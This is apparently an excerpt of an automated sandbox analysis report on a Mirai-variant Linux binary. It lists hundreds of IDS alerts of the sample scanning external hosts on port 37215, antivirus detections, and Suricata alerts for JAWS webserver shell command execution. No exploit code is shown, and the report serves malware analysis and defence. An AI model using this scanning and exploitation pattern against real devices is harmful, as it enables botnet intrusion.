              2024-12-03T23:17:28.028812+010028352221A Network Trojan was detected192.168.2.235920841.131.100.11237215TCP
              2024-12-03T23:17:28.038139+010028352221A Network Trojan was detected192.168.2.2358706156.188.91.937215TCP
              2024-12-03T23:17:28.038211+010028352221A Network Trojan was detected192.168.2.234945641.175.188.12937215TCP
              2024-12-03T23:17:28.044308+010028352221A Network Trojan was detected192.168.2.234334241.146.113.3937215TCP
              2024-12-03T23:17:28.044626+010028352221A Network Trojan was detected192.168.2.234515841.64.62.17537215TCP
              2024-12-03T23:17:28.053485+010028352221A Network Trojan was detected192.168.2.233378841.24.229.9437215TCP
              2024-12-03T23:17:28.073211+010028352221A Network Trojan was detected192.168.2.2333388197.7.25.5937215TCP
              2024-12-03T23:17:29.162930+010028352221A Network Trojan was detected192.168.2.233360241.15.117.18737215TCP
              2024-12-03T23:17:29.169415+010028352221A Network Trojan was detected192.168.2.2354784197.133.234.1537215TCP
              2024-12-03T23:17:29.225406+010028352221A Network Trojan was detected192.168.2.2352426197.56.85.3637215TCP
              2024-12-03T23:17:29.294395+010028352221A Network Trojan was detected192.168.2.2338088156.202.114.11837215TCP
              2024-12-03T23:17:29.303539+010028352221A Network Trojan was detected192.168.2.2338500156.8.109.11137215TCP
              2024-12-03T23:17:29.303660+010028352221A Network Trojan was detected192.168.2.233692841.195.120.10837215TCP
              2024-12-03T23:17:29.303765+010028352221A Network Trojan was detected192.168.2.2351536156.48.81.1337215TCP
              2024-12-03T23:17:29.325555+010028352221A Network Trojan was detected192.168.2.235515241.9.247.14637215TCP
              2024-12-03T23:17:29.325627+010028352221A Network Trojan was detected192.168.2.2341380197.85.202.737215TCP
              2024-12-03T23:17:29.366186+010028352221A Network Trojan was detected192.168.2.2354328197.22.34.24037215TCP
              2024-12-03T23:17:29.381829+010028352221A Network Trojan was detected192.168.2.2334710197.185.18.9637215TCP
              2024-12-03T23:17:29.381953+010028352221A Network Trojan was detected192.168.2.235513641.142.83.14137215TCP
              2024-12-03T23:17:29.416277+010028352221A Network Trojan was detected192.168.2.2336816197.27.4.17237215TCP
              2024-12-03T23:17:30.123284+010028352221A Network Trojan was detected192.168.2.2344406156.182.64.1137215TCP
              2024-12-03T23:17:30.123498+010028352221A Network Trojan was detected192.168.2.233310041.106.66.3637215TCP
              2024-12-03T23:17:30.123553+010028352221A Network Trojan was detected192.168.2.2345314197.254.73.3737215TCP
              2024-12-03T23:17:30.148391+010028352221A Network Trojan was detected192.168.2.2346982197.175.236.2037215TCP
              2024-12-03T23:17:30.148405+010028352221A Network Trojan was detected192.168.2.2334130156.98.42.6137215TCP
              2024-12-03T23:17:30.153775+010028352221A Network Trojan was detected192.168.2.2348574197.181.229.7637215TCP
              2024-12-03T23:17:30.153905+010028352221A Network Trojan was detected192.168.2.235813841.73.137.6837215TCP
              2024-12-03T23:17:30.154100+010028352221A Network Trojan was detected192.168.2.2346532197.77.85.15637215TCP
              2024-12-03T23:17:30.154286+010028352221A Network Trojan was detected192.168.2.2343064197.250.32.1637215TCP
              2024-12-03T23:17:30.154370+010028352221A Network Trojan was detected192.168.2.235801041.121.239.12937215TCP
              2024-12-03T23:17:30.154491+010028352221A Network Trojan was detected192.168.2.2338230197.109.244.3037215TCP
              2024-12-03T23:17:30.162965+010028352221A Network Trojan was detected192.168.2.235642641.189.143.3637215TCP
              2024-12-03T23:17:30.169482+010028352221A Network Trojan was detected192.168.2.2342334156.21.28.1637215TCP
              2024-12-03T23:17:30.169701+010028352221A Network Trojan was detected192.168.2.2359082197.63.34.4337215TCP
              2024-12-03T23:17:30.169814+010028352221A Network Trojan was detected192.168.2.2347788156.144.206.3537215TCP
              2024-12-03T23:17:30.169929+010028352221A Network Trojan was detected192.168.2.233705241.16.119.24037215TCP
              2024-12-03T23:17:30.170047+010028352221A Network Trojan was detected192.168.2.236082641.34.205.637215TCP
              2024-12-03T23:17:30.170146+010028352221A Network Trojan was detected192.168.2.2357674197.108.41.10637215TCP
              2024-12-03T23:17:30.170258+010028352221A Network Trojan was detected192.168.2.2353952197.223.164.21137215TCP
              2024-12-03T23:17:30.170484+010028352221A Network Trojan was detected192.168.2.2344030197.194.163.237215TCP
              2024-12-03T23:17:30.170721+010028352221A Network Trojan was detected192.168.2.235110041.144.216.6337215TCP
              2024-12-03T23:17:30.178586+010028352221A Network Trojan was detected192.168.2.2335804156.103.117.9037215TCP
              2024-12-03T23:17:30.178758+010028352221A Network Trojan was detected192.168.2.2342074197.35.164.9137215TCP
              2024-12-03T23:17:30.178878+010028352221A Network Trojan was detected192.168.2.2339882156.112.192.11737215TCP
              2024-12-03T23:17:30.178989+010028352221A Network Trojan was detected192.168.2.233364641.126.177.23837215TCP
              2024-12-03T23:17:30.179063+010028352221A Network Trojan was detected192.168.2.2346628156.159.216.337215TCP
              2024-12-03T23:17:30.179186+010028352221A Network Trojan was detected192.168.2.235607241.63.113.20837215TCP
              2024-12-03T23:17:30.184830+010028352221A Network Trojan was detected192.168.2.2340458197.130.252.24137215TCP
              2024-12-03T23:17:30.194263+010028352221A Network Trojan was detected192.168.2.2360578197.250.187.537215TCP
              2024-12-03T23:17:30.194333+010028352221A Network Trojan was detected192.168.2.234571441.25.222.4637215TCP
              2024-12-03T23:17:30.200846+010028352221A Network Trojan was detected192.168.2.2338598197.42.164.10637215TCP
              2024-12-03T23:17:30.200853+010028352221A Network Trojan was detected192.168.2.2344334197.153.112.16637215TCP
              2024-12-03T23:17:30.201055+010028352221A Network Trojan was detected192.168.2.2339758197.109.50.17137215TCP
              2024-12-03T23:17:30.201222+010028352221A Network Trojan was detected192.168.2.2333832156.181.177.18237215TCP
              2024-12-03T23:17:30.201285+010028352221A Network Trojan was detected192.168.2.2354330156.108.252.8537215TCP
              2024-12-03T23:17:30.201421+010028352221A Network Trojan was detected192.168.2.235100641.73.221.137215TCP
              2024-12-03T23:17:30.201605+010028352221A Network Trojan was detected192.168.2.2360232197.81.67.2237215TCP
              2024-12-03T23:17:30.209708+010028352221A Network Trojan was detected192.168.2.2358756197.132.16.25137215TCP
              2024-12-03T23:17:30.209895+010028352221A Network Trojan was detected192.168.2.2341714197.243.134.13037215TCP
              2024-12-03T23:17:30.210178+010028352221A Network Trojan was detected192.168.2.2337344197.67.47.5837215TCP
              2024-12-03T23:17:30.210323+010028352221A Network Trojan was detected192.168.2.2349134197.154.107.6237215TCP
              2024-12-03T23:17:30.210530+010028352221A Network Trojan was detected192.168.2.233320841.217.194.9437215TCP
              2024-12-03T23:17:30.210709+010028352221A Network Trojan was detected192.168.2.2342196156.209.173.11637215TCP
              2024-12-03T23:17:30.210922+010028352221A Network Trojan was detected192.168.2.2350110156.39.63.24237215TCP
              2024-12-03T23:17:30.216461+010028352221A Network Trojan was detected192.168.2.2343296156.32.193.22937215TCP
              2024-12-03T23:17:30.216591+010028352221A Network Trojan was detected192.168.2.2341160156.166.112.9537215TCP
              2024-12-03T23:17:30.216773+010028352221A Network Trojan was detected192.168.2.2351728156.245.85.2837215TCP
              2024-12-03T23:17:30.225387+010028352221A Network Trojan was detected192.168.2.2345548156.90.20.16537215TCP
              2024-12-03T23:17:30.225602+010028352221A Network Trojan was detected192.168.2.233736441.255.55.13737215TCP
              2024-12-03T23:17:30.225713+010028352221A Network Trojan was detected192.168.2.235963841.246.157.7437215TCP
              2024-12-03T23:17:30.225846+010028352221A Network Trojan was detected192.168.2.235841841.88.103.22737215TCP
              2024-12-03T23:17:30.226034+010028352221A Network Trojan was detected192.168.2.2347864156.139.41.13537215TCP
              2024-12-03T23:17:30.241180+010028352221A Network Trojan was detected192.168.2.2335122156.253.218.2937215TCP
              2024-12-03T23:17:30.241228+010028352221A Network Trojan was detected192.168.2.2355238197.216.98.13237215TCP
              2024-12-03T23:17:30.241340+010028352221A Network Trojan was detected192.168.2.233705441.95.229.14937215TCP
              2024-12-03T23:17:30.256852+010028352221A Network Trojan was detected192.168.2.2344436156.41.120.2337215TCP
              2024-12-03T23:17:30.272520+010028352221A Network Trojan was detected192.168.2.2353128197.188.248.6437215TCP
              2024-12-03T23:17:30.272579+010028352221A Network Trojan was detected192.168.2.2348044156.98.11.5337215TCP
              2024-12-03T23:17:30.413515+010028352221A Network Trojan was detected192.168.2.2353146197.96.84.237215TCP
              2024-12-03T23:17:30.419415+010028352221A Network Trojan was detected192.168.2.2354128197.42.153.20337215TCP
              2024-12-03T23:17:30.475506+010028352221A Network Trojan was detected192.168.2.2347970156.201.223.837215TCP
              2024-12-03T23:17:31.225575+010028352221A Network Trojan was detected192.168.2.235779041.12.127.24337215TCP
              2024-12-03T23:17:31.388322+010028352221A Network Trojan was detected192.168.2.2351816197.2.201.15037215TCP
              2024-12-03T23:17:31.403983+010028352221A Network Trojan was detected192.168.2.235551041.211.84.21437215TCP
              2024-12-03T23:17:31.419221+010028352221A Network Trojan was detected192.168.2.233998041.195.231.8537215TCP
              2024-12-03T23:17:31.419403+010028352221A Network Trojan was detected192.168.2.2360858156.117.25.21737215TCP
              2024-12-03T23:17:31.443995+010028352221A Network Trojan was detected192.168.2.2339816156.64.74.5837215TCP
              2024-12-03T23:17:31.475643+010028352221A Network Trojan was detected192.168.2.233411041.157.16.837215TCP
              2024-12-03T23:17:31.475699+010028352221A Network Trojan was detected192.168.2.234830641.36.166.23937215TCP
              2024-12-03T23:17:32.294417+010028352221A Network Trojan was detected192.168.2.2339048197.4.19.20837215TCP
              2024-12-03T23:17:32.294558+010028352221A Network Trojan was detected192.168.2.2350270197.83.100.14737215TCP
              2024-12-03T23:17:32.294715+010028352221A Network Trojan was detected192.168.2.2338638156.106.27.4437215TCP
              2024-12-03T23:17:32.309951+010028352221A Network Trojan was detected192.168.2.2338108197.96.112.13037215TCP
              2024-12-03T23:17:32.325642+010028352221A Network Trojan was detected192.168.2.2347788197.118.170.16537215TCP
              2024-12-03T23:17:32.325794+010028352221A Network Trojan was detected192.168.2.2355790197.32.203.12137215TCP
              2024-12-03T23:17:32.325880+010028352221A Network Trojan was detected192.168.2.233742441.88.150.21837215TCP
              2024-12-03T23:17:32.325995+010028352221A Network Trojan was detected192.168.2.2355752156.142.214.1837215TCP
              2024-12-03T23:17:32.341316+010028352221A Network Trojan was detected192.168.2.234413241.182.102.19137215TCP
              2024-12-03T23:17:32.350387+010028352221A Network Trojan was detected192.168.2.2345992197.118.234.17137215TCP
              2024-12-03T23:17:32.350580+010028352221A Network Trojan was detected192.168.2.2333856156.78.86.9637215TCP
              2024-12-03T23:17:32.350762+010028352221A Network Trojan was detected192.168.2.2335070156.148.67.23737215TCP
              2024-12-03T23:17:32.403894+010028352221A Network Trojan was detected192.168.2.2360300197.218.2.23637215TCP
              2024-12-03T23:17:32.428592+010028352221A Network Trojan was detected192.168.2.2349890156.103.97.937215TCP
              2024-12-03T23:17:32.481871+010028352221A Network Trojan was detected192.168.2.2341908197.31.92.16337215TCP
              2024-12-03T23:17:32.482064+010028352221A Network Trojan was detected192.168.2.234290641.210.87.25437215TCP
              2024-12-03T23:17:32.491140+010028352221A Network Trojan was detected192.168.2.236019241.141.149.15437215TCP
              2024-12-03T23:17:32.591273+010028352221A Network Trojan was detected192.168.2.2341844156.81.130.16937215TCP
              2024-12-03T23:17:32.616158+010028352221A Network Trojan was detected192.168.2.234880441.0.76.12337215TCP
              2024-12-03T23:17:32.647507+010028352221A Network Trojan was detected192.168.2.2348896156.1.78.13037215TCP
              2024-12-03T23:17:33.033925+010028352221A Network Trojan was detected192.168.2.235138441.174.163.5537215TCP
              2024-12-03T23:17:33.638119+010028352221A Network Trojan was detected192.168.2.235194041.247.200.3437215TCP
              2024-12-03T23:17:34.435105+010028352221A Network Trojan was detected192.168.2.2349144197.102.170.5537215TCP
              2024-12-03T23:17:34.450649+010028352221A Network Trojan was detected192.168.2.2342486156.121.154.9837215TCP
              2024-12-03T23:17:34.450805+010028352221A Network Trojan was detected192.168.2.2353360197.234.135.8937215TCP
              2024-12-03T23:17:34.466416+010028352221A Network Trojan was detected192.168.2.2352090156.7.104.9937215TCP
              2024-12-03T23:17:34.466579+010028352221A Network Trojan was detected192.168.2.2357866197.89.1.14037215TCP
              2024-12-03T23:17:34.466598+010028352221A Network Trojan was detected192.168.2.2334398197.190.196.25137215TCP
              2024-12-03T23:17:34.466658+010028352221A Network Trojan was detected192.168.2.233510041.178.160.9637215TCP
              2024-12-03T23:17:34.466824+010028352221A Network Trojan was detected192.168.2.234755841.205.129.12637215TCP
              2024-12-03T23:17:34.466904+010028352221A Network Trojan was detected192.168.2.234610041.229.226.15337215TCP
              2024-12-03T23:17:34.467082+010028352221A Network Trojan was detected192.168.2.2350748197.140.34.1037215TCP
              2024-12-03T23:17:34.467252+010028352221A Network Trojan was detected192.168.2.2352378197.90.112.20337215TCP
              2024-12-03T23:17:34.467316+010028352221A Network Trojan was detected192.168.2.2343460197.39.189.25537215TCP
              2024-12-03T23:17:34.467444+010028352221A Network Trojan was detected192.168.2.233926041.62.249.23937215TCP
              2024-12-03T23:17:34.475498+010028352221A Network Trojan was detected192.168.2.2340776197.201.118.7137215TCP
              2024-12-03T23:17:34.475653+010028352221A Network Trojan was detected192.168.2.2342588156.130.110.10437215TCP
              2024-12-03T23:17:34.475797+010028352221A Network Trojan was detected192.168.2.234409441.221.212.13137215TCP
              2024-12-03T23:17:34.475855+010028352221A Network Trojan was detected192.168.2.2360762156.162.10.5337215TCP
              2024-12-03T23:17:34.475979+010028352221A Network Trojan was detected192.168.2.234462041.225.98.20837215TCP
              2024-12-03T23:17:34.476112+010028352221A Network Trojan was detected192.168.2.234089641.130.85.5437215TCP
              2024-12-03T23:17:34.476184+010028352221A Network Trojan was detected192.168.2.234136841.86.143.19137215TCP
              2024-12-03T23:17:34.491316+010028352221A Network Trojan was detected192.168.2.2342442197.3.161.13637215TCP
              2024-12-03T23:17:34.497622+010028352221A Network Trojan was detected192.168.2.235119041.92.234.20637215TCP
              2024-12-03T23:17:34.497842+010028352221A Network Trojan was detected192.168.2.234231041.171.83.19037215TCP
              2024-12-03T23:17:34.498007+010028352221A Network Trojan was detected192.168.2.234048641.231.176.2537215TCP
              2024-12-03T23:17:34.498282+010028352221A Network Trojan was detected192.168.2.2336286197.216.35.6537215TCP
              2024-12-03T23:17:34.506936+010028352221A Network Trojan was detected192.168.2.2353272156.5.208.20137215TCP
              2024-12-03T23:17:34.507084+010028352221A Network Trojan was detected192.168.2.2345358156.183.168.15937215TCP
              2024-12-03T23:17:34.507239+010028352221A Network Trojan was detected192.168.2.234255041.221.178.20037215TCP
              2024-12-03T23:17:34.507382+010028352221A Network Trojan was detected192.168.2.2335558197.134.240.21437215TCP
              2024-12-03T23:17:34.507501+010028352221A Network Trojan was detected192.168.2.2335340197.109.55.1937215TCP
              2024-12-03T23:17:34.507720+010028352221A Network Trojan was detected192.168.2.2343570156.150.79.19937215TCP
              2024-12-03T23:17:34.522420+010028352221A Network Trojan was detected192.168.2.2344556156.94.29.21337215TCP
              2024-12-03T23:17:34.522734+010028352221A Network Trojan was detected192.168.2.2337256197.122.214.22537215TCP
              2024-12-03T23:17:34.522801+010028352221A Network Trojan was detected192.168.2.2358866197.193.126.16037215TCP
              2024-12-03T23:17:34.522917+010028352221A Network Trojan was detected192.168.2.233536641.96.185.11937215TCP
              2024-12-03T23:17:34.523040+010028352221A Network Trojan was detected192.168.2.234170241.240.42.6037215TCP
              2024-12-03T23:17:34.523173+010028352221A Network Trojan was detected192.168.2.234094041.180.86.19837215TCP
              2024-12-03T23:17:34.538384+010028352221A Network Trojan was detected192.168.2.2340228197.228.192.4937215TCP
              2024-12-03T23:17:34.538407+010028352221A Network Trojan was detected192.168.2.2339426197.65.245.16737215TCP
              2024-12-03T23:17:34.538408+010028352221A Network Trojan was detected192.168.2.2350134197.148.5.2637215TCP
              2024-12-03T23:17:34.553651+010028352221A Network Trojan was detected192.168.2.233848241.25.33.9137215TCP
              2024-12-03T23:17:36.056910+010028352221A Network Trojan was detected192.168.2.2339468156.241.184.10137215TCP
              2024-12-03T23:17:37.779110+010028352221A Network Trojan was detected192.168.2.2343502197.66.120.24337215TCP
              2024-12-03T23:17:37.819599+010028352221A Network Trojan was detected192.168.2.235885641.17.94.16737215TCP
              2024-12-03T23:17:38.060102+010028352221A Network Trojan was detected192.168.2.2360916197.221.55.22437215TCP
              2024-12-03T23:17:38.779201+010028352221A Network Trojan was detected192.168.2.2351754156.42.14.13337215TCP
              2024-12-03T23:17:38.779214+010028352221A Network Trojan was detected192.168.2.234234641.113.69.9137215TCP
              2024-12-03T23:17:38.779338+010028352221A Network Trojan was detected192.168.2.2348906197.231.171.9737215TCP
              2024-12-03T23:17:38.779497+010028352221A Network Trojan was detected192.168.2.2356488156.237.223.14937215TCP
              2024-12-03T23:17:38.779614+010028352221A Network Trojan was detected192.168.2.2339140197.190.201.22537215TCP
              2024-12-03T23:17:38.779889+010028352221A Network Trojan was detected192.168.2.235671241.106.24.16537215TCP
              2024-12-03T23:17:38.780012+010028352221A Network Trojan was detected192.168.2.2334632197.173.136.21937215TCP
              2024-12-03T23:17:38.794466+010028352221A Network Trojan was detected192.168.2.234585041.41.47.18637215TCP
              2024-12-03T23:17:38.794742+010028352221A Network Trojan was detected192.168.2.234561841.170.118.15137215TCP
              2024-12-03T23:17:38.795115+010028352221A Network Trojan was detected192.168.2.2344066197.43.176.8937215TCP
              2024-12-03T23:17:38.796413+010028352221A Network Trojan was detected192.168.2.2351886156.9.171.21737215TCP
              2024-12-03T23:17:38.798168+010028352221A Network Trojan was detected192.168.2.235569841.40.188.12137215TCP
              2024-12-03T23:17:38.799328+010028352221A Network Trojan was detected192.168.2.2345268197.69.237.21637215TCP
              2024-12-03T23:17:38.803703+010028352221A Network Trojan was detected192.168.2.233603841.199.127.9437215TCP
              2024-12-03T23:17:38.803867+010028352221A Network Trojan was detected192.168.2.234871241.181.197.7637215TCP
              2024-12-03T23:17:38.803996+010028352221A Network Trojan was detected192.168.2.2356018156.80.123.22537215TCP
              2024-12-03T23:17:38.804160+010028352221A Network Trojan was detected192.168.2.2343628156.46.137.13837215TCP
              2024-12-03T23:17:38.804295+010028352221A Network Trojan was detected192.168.2.2346164156.40.69.24837215TCP
              2024-12-03T23:17:38.804466+010028352221A Network Trojan was detected192.168.2.2354348197.168.192.6737215TCP
              2024-12-03T23:17:38.804627+010028352221A Network Trojan was detected192.168.2.234745641.221.147.2037215TCP
              2024-12-03T23:17:38.810087+010028352221A Network Trojan was detected192.168.2.2351692197.212.213.10637215TCP
              2024-12-03T23:17:38.810151+010028352221A Network Trojan was detected192.168.2.234214241.131.243.1337215TCP
              2024-12-03T23:17:38.810511+010028352221A Network Trojan was detected192.168.2.2345734156.167.163.7737215TCP
              2024-12-03T23:17:38.810697+010028352221A Network Trojan was detected192.168.2.2353410156.57.209.21937215TCP
              2024-12-03T23:17:38.823953+010028352221A Network Trojan was detected192.168.2.2335886197.155.156.15737215TCP
              2024-12-03T23:17:38.823955+010028352221A Network Trojan was detected192.168.2.2357042197.23.41.14537215TCP
              2024-12-03T23:17:38.828419+010028352221A Network Trojan was detected192.168.2.2337558197.44.132.4737215TCP
              2024-12-03T23:17:38.828453+010028352221A Network Trojan was detected192.168.2.235657241.73.141.15937215TCP
              2024-12-03T23:17:38.835051+010028352221A Network Trojan was detected192.168.2.2360632156.89.23.25037215TCP
              2024-12-03T23:17:38.847621+010028352221A Network Trojan was detected192.168.2.2360200156.181.214.14837215TCP
              2024-12-03T23:17:38.847798+010028352221A Network Trojan was detected192.168.2.2350526156.95.165.20637215TCP
              2024-12-03T23:17:38.848073+010028352221A Network Trojan was detected192.168.2.2353642156.214.10.14937215TCP
              2024-12-03T23:17:38.855591+010028352221A Network Trojan was detected192.168.2.234134441.229.166.3137215TCP
              2024-12-03T23:17:38.855592+010028352221A Network Trojan was detected192.168.2.235081241.191.29.18137215TCP
              2024-12-03T23:17:38.855720+010028352221A Network Trojan was detected192.168.2.233331441.6.139.17937215TCP
              2024-12-03T23:17:38.856015+010028352221A Network Trojan was detected192.168.2.2351602197.248.14.15337215TCP
              2024-12-03T23:17:38.856015+010028352221A Network Trojan was detected192.168.2.234966841.75.90.23437215TCP
              2024-12-03T23:17:38.856025+010028352221A Network Trojan was detected192.168.2.2348610197.201.114.9037215TCP
              2024-12-03T23:17:39.028906+010028352221A Network Trojan was detected192.168.2.2344068156.107.109.16837215TCP
              2024-12-03T23:17:39.044876+010028352221A Network Trojan was detected192.168.2.2336106197.91.196.22637215TCP
              2024-12-03T23:17:39.053768+010028352221A Network Trojan was detected192.168.2.2347906197.176.86.5837215TCP
              2024-12-03T23:17:39.053845+010028352221A Network Trojan was detected192.168.2.2344040197.112.65.15537215TCP
              2024-12-03T23:17:39.060234+010028352221A Network Trojan was detected192.168.2.2344914156.197.13.12437215TCP
              2024-12-03T23:17:39.075720+010028352221A Network Trojan was detected192.168.2.2359996156.88.41.16937215TCP
              2024-12-03T23:17:39.075920+010028352221A Network Trojan was detected192.168.2.2342056156.232.128.6137215TCP
              2024-12-03T23:17:39.085008+010028352221A Network Trojan was detected192.168.2.235957841.80.243.1537215TCP
              2024-12-03T23:17:39.085138+010028352221A Network Trojan was detected192.168.2.235707441.79.213.13437215TCP
              2024-12-03T23:17:39.085207+010028352221A Network Trojan was detected192.168.2.2356736156.250.94.15437215TCP
              2024-12-03T23:17:39.100616+010028352221A Network Trojan was detected192.168.2.2340696197.21.76.17037215TCP
              2024-12-03T23:17:40.294917+010028352221A Network Trojan was detected192.168.2.2359888156.51.242.9637215TCP
              2024-12-03T23:17:40.310644+010028352221A Network Trojan was detected192.168.2.2335054156.252.30.19437215TCP
              2024-12-03T23:17:40.366444+010028352221A Network Trojan was detected192.168.2.233511641.77.32.23337215TCP
              2024-12-03T23:17:40.966736+010028352221A Network Trojan was detected192.168.2.2338428197.181.246.6637215TCP
              2024-12-03T23:17:40.975665+010028352221A Network Trojan was detected192.168.2.2354466197.193.114.12937215TCP
              2024-12-03T23:17:40.976001+010028352221A Network Trojan was detected192.168.2.2357278197.199.140.22137215TCP
              2024-12-03T23:17:41.350706+010028352221A Network Trojan was detected192.168.2.2341326197.62.186.13237215TCP
              2024-12-03T23:17:41.366320+010028352221A Network Trojan was detected192.168.2.233679041.218.188.11337215TCP
              2024-12-03T23:17:41.388469+010028352221A Network Trojan was detected192.168.2.2350722197.228.155.15337215TCP
              2024-12-03T23:17:41.397520+010028352221A Network Trojan was detected192.168.2.2334608197.209.120.4737215TCP
              2024-12-03T23:17:41.397684+010028352221A Network Trojan was detected192.168.2.2358796197.113.114.5937215TCP
              2024-12-03T23:17:41.466349+010028352221A Network Trojan was detected192.168.2.233705641.247.59.16337215TCP
              2024-12-03T23:17:41.497748+010028352221A Network Trojan was detected192.168.2.2360866156.0.159.22537215TCP
              2024-12-03T23:17:41.497757+010028352221A Network Trojan was detected192.168.2.235445641.198.94.13537215TCP
              2024-12-03T23:17:41.522653+010028352221A Network Trojan was detected192.168.2.2335562156.100.20.7337215TCP
              2024-12-03T23:17:42.123028+010028352221A Network Trojan was detected192.168.2.233981441.76.229.23837215TCP
              2024-12-03T23:17:42.123092+010028352221A Network Trojan was detected192.168.2.235698041.163.182.337215TCP
              2024-12-03T23:17:42.123284+010028352221A Network Trojan was detected192.168.2.2345104197.72.117.5537215TCP
              2024-12-03T23:17:42.123492+010028352221A Network Trojan was detected192.168.2.233917641.79.244.11237215TCP
              2024-12-03T23:17:42.123498+010028352221A Network Trojan was detected192.168.2.233952041.172.77.1437215TCP
              2024-12-03T23:17:42.123603+010028352221A Network Trojan was detected192.168.2.2337200156.165.32.5137215TCP
              2024-12-03T23:17:42.123896+010028352221A Network Trojan was detected192.168.2.233695641.124.249.5737215TCP
              2024-12-03T23:17:42.123996+010028352221A Network Trojan was detected192.168.2.2335118197.189.128.7137215TCP
              2024-12-03T23:17:42.124083+010028352221A Network Trojan was detected192.168.2.234411041.149.142.23437215TCP
              2024-12-03T23:17:42.124297+010028352221A Network Trojan was detected192.168.2.2354240197.180.205.837215TCP
              2024-12-03T23:17:42.144160+010028352221A Network Trojan was detected192.168.2.2358128156.24.8.9837215TCP
              2024-12-03T23:17:42.144292+010028352221A Network Trojan was detected192.168.2.235571241.66.91.637215TCP
              2024-12-03T23:17:42.144477+010028352221A Network Trojan was detected192.168.2.2337300197.107.205.1237215TCP
              2024-12-03T23:17:42.144660+010028352221A Network Trojan was detected192.168.2.2357864197.6.241.11137215TCP
              2024-12-03T23:17:42.144735+010028352221A Network Trojan was detected192.168.2.2360582156.238.44.12337215TCP
              2024-12-03T23:17:42.144867+010028352221A Network Trojan was detected192.168.2.2352176197.100.92.13537215TCP
              2024-12-03T23:17:42.145027+010028352221A Network Trojan was detected192.168.2.2355348197.50.232.14037215TCP
              2024-12-03T23:17:42.145708+010028352221A Network Trojan was detected192.168.2.2342656156.121.75.2837215TCP
              2024-12-03T23:17:42.145781+010028352221A Network Trojan was detected192.168.2.235353041.67.123.9137215TCP
              2024-12-03T23:17:42.145912+010028352221A Network Trojan was detected192.168.2.233769841.174.159.3337215TCP
              2024-12-03T23:17:42.146106+010028352221A Network Trojan was detected192.168.2.2353342156.139.241.18237215TCP
              2024-12-03T23:17:42.146288+010028352221A Network Trojan was detected192.168.2.2352322197.203.142.11037215TCP
              2024-12-03T23:17:42.146515+010028352221A Network Trojan was detected192.168.2.2343720156.140.47.14137215TCP
              2024-12-03T23:17:42.326060+010028352221A Network Trojan was detected192.168.2.2341014197.120.50.9637215TCP
              2024-12-03T23:17:42.357132+010028352221A Network Trojan was detected192.168.2.2354878197.185.175.15337215TCP
              2024-12-03T23:17:42.373231+010028352221A Network Trojan was detected192.168.2.2352656156.150.60.22437215TCP
              2024-12-03T23:17:42.397734+010028352221A Network Trojan was detected192.168.2.2351718156.233.166.24837215TCP
              2024-12-03T23:17:42.413555+010028352221A Network Trojan was detected192.168.2.2344188156.208.20.13737215TCP
              2024-12-03T23:17:43.591538+010028352221A Network Trojan was detected192.168.2.2336204156.223.47.2637215TCP
              2024-12-03T23:17:43.607094+010028352221A Network Trojan was detected192.168.2.2343966197.151.4.14837215TCP
              2024-12-03T23:17:43.632176+010028352221A Network Trojan was detected192.168.2.2339776156.114.233.2537215TCP
              2024-12-03T23:17:43.647496+010028352221A Network Trojan was detected192.168.2.2341304197.149.65.7037215TCP
              2024-12-03T23:17:43.663342+010028352221A Network Trojan was detected192.168.2.2338806197.140.165.11737215TCP
              2024-12-03T23:17:44.654189+010028352221A Network Trojan was detected192.168.2.2355062197.32.95.2037215TCP
              2024-12-03T23:17:44.654425+010028352221A Network Trojan was detected192.168.2.2349142197.12.154.19337215TCP
              2024-12-03T23:17:44.654425+010028352221A Network Trojan was detected192.168.2.233693441.210.39.2837215TCP
              2024-12-03T23:17:44.679238+010028352221A Network Trojan was detected192.168.2.2333938156.249.39.6637215TCP
              2024-12-03T23:17:44.710156+010028352221A Network Trojan was detected192.168.2.234308441.158.219.22037215TCP
              2024-12-03T23:17:44.725942+010028352221A Network Trojan was detected192.168.2.234840241.177.105.14137215TCP
              2024-12-03T23:17:44.725942+010028352221A Network Trojan was detected192.168.2.2353238197.137.224.12737215TCP
              2024-12-03T23:17:45.357389+010028352221A Network Trojan was detected192.168.2.233582441.126.88.3737215TCP
              2024-12-03T23:17:45.382213+010028352221A Network Trojan was detected192.168.2.2334580156.84.84.12737215TCP
              2024-12-03T23:17:45.397825+010028352221A Network Trojan was detected192.168.2.233872641.87.139.7037215TCP
              2024-12-03T23:17:45.397852+010028352221A Network Trojan was detected192.168.2.2352956156.77.235.4137215TCP
              2024-12-03T23:17:45.397931+010028352221A Network Trojan was detected192.168.2.234743641.223.243.12037215TCP
              2024-12-03T23:17:45.413569+010028352221A Network Trojan was detected192.168.2.2352200197.211.132.4037215TCP
              2024-12-03T23:17:45.429301+010028352221A Network Trojan was detected192.168.2.2335286197.104.178.19737215TCP
              2024-12-03T23:17:45.429303+010028352221A Network Trojan was detected192.168.2.2344240197.32.0.22437215TCP

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Source: spc.elfAvira: detected
              Source: spc.elfReversingLabs: Detection: 71%

              Networking

              barindex
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41910 -> 185.138.149.16:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41910 -> 185.138.149.16:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60312 -> 108.165.135.39:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60312 -> 108.165.135.39:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39544 -> 209.58.154.1:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39544 -> 209.58.154.1:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52298 -> 181.49.1.9:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52298 -> 181.49.1.9:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43054 -> 45.93.92.23:80
